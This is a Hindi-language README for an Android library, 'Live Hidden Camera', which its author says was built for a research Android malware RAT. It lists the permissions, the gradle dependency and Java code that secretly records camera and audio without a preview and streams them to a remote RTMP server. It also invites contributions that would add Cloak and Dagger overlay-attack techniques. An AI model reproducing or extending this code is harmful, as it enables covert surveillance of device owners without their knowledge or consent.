
Live Hidden Camera एक लाइब्रेरी है जो बिना प्रीव्यू दिखाए Android डिवाइस से लाइव वीडियो और ऑडियो रिकॉर्ड करती है।
Live Hidden Camera (LHC) एक लाइब्रेरी है जो Android डिवाइस से बिना पूर्वावलोकन दिखाए लाइव वीडियो और ऑडियो रिकॉर्ड करती है।

मैं एक शोध-आधारित Android मैलवेयर पर काम कर रहा हूं और एक बहु-कार्यात्मक RAT (Remote Administration Tool) बनाने का निर्णय लिया। मैं लाइव स्ट्रीम पर काम कर रहा था जहां मुझे कुछ RTMP-आधारित ओपन सोर्स प्रोजेक्ट मिले, जिनमें शामिल हैं:
SurfaceView शामिल करने के लिए एक गतिविधि की आवश्यकता थी।इसलिए, मैंने खोज शुरू की। अंततः, मैं Live Hidden Camera बना सका, जिसे लाइव वीडियो स्ट्रीम करने के लिए केवल एक CONTEXT की आवश्यकता है, इन दो परियोजनाओं को मिलाकर:
मैंने एक लाइब्रेरी बनाई है जिससे इसे अधिक उपयोगी बनाया जा सके। एकमात्र आवश्यकता आपके प्रोजेक्ट में लाइब्रेरी जोड़ना और उसमें Rtmp URL पास करना है।
इसके अतिरिक्त, आपको निम्नलिखित बातों का ध्यान रखना चाहिए:
Manifest.xml में निम्नलिखित अनुमतियाँ होनी चाहिए:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
लाइब्रेरी का उपयोग सीधा है। बस अपने प्रोजेक्ट के gradle.build फ़ाइल में निम्नलिखित लाइब्रेरी जोड़ें।
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest में टिप्पणी किया गया है।लाइब्रेरी का उपयोग करने से पहले, आपको एक Rtmp सर्वर तैनात करना चाहिए। मैंने Ant Media Server का उपयोग किया है। THIS LINK पर Ant Media Server स्थापना के लिए एक अच्छी मार्गदर्शिका है।
Ant Media Rtmp सर्वर शुरू करने के बाद, आपको कुछ इस प्रकार देखना चाहिए:

अपने प्रोजेक्ट में लाइब्रेरी जोड़ने के बाद, निम्नलिखित चरण करें:
एक क्लास बनाएं जो RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener को लागू करता है।
दो फ़ील्ड बनाएं (एक प्रकाशन के लिए और एक पूर्वावलोकन के लिए):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
लाइव हिडन कैमरा शुरू करने के लिए एक फ़ंक्शन लागू करें:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "उपयोगकर्ता से अनुमति देने के लिए कहें।");
Log.e("HCL", ex.getMessage());
}
});
//config प्रारंभ करें
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
मुख्य समस्या जिसका मैं सामना कर रहा हूं, वह ग्रीन स्क्रीन है। मैंने इस त्रुटि का वर्णन StackOverflow पर https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video में किया है।
यदि आपके पास इस समस्या के बारे में कोई सुझाव है, या कोई अन्य विचार है, तो मुझसे संपर्क करने में संकोच न करें।
लाइव हिडन कैमरा के ओवरले के कारण, कोई अन्य ऐप क्लिक नहीं किया जा सकता। क्लिक केवल LHC द्वारा स्वीकार किए जाते हैं। TODO अनुभाग देखें।
एक प्रोजेक्ट है जिसे Cloak and Dagger कहा जाता है, जिसने Android में एक बहुत ही खतरनाक क्षमता को उजागर किया। LHC में Cloak and Dagger का उपयोग करने में कोई भी योगदान स्वागत योग्य है।
Cloak and Dagger यहाँ देखें:
आप मेरे BitCoin पते का उपयोग करके इस प्रोजेक्ट को दान कर सकते हैं:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
आप मुझसे मेरी वेबसाइट से संपर्क कर सकते हैं: https://mstajbakhsh.ir/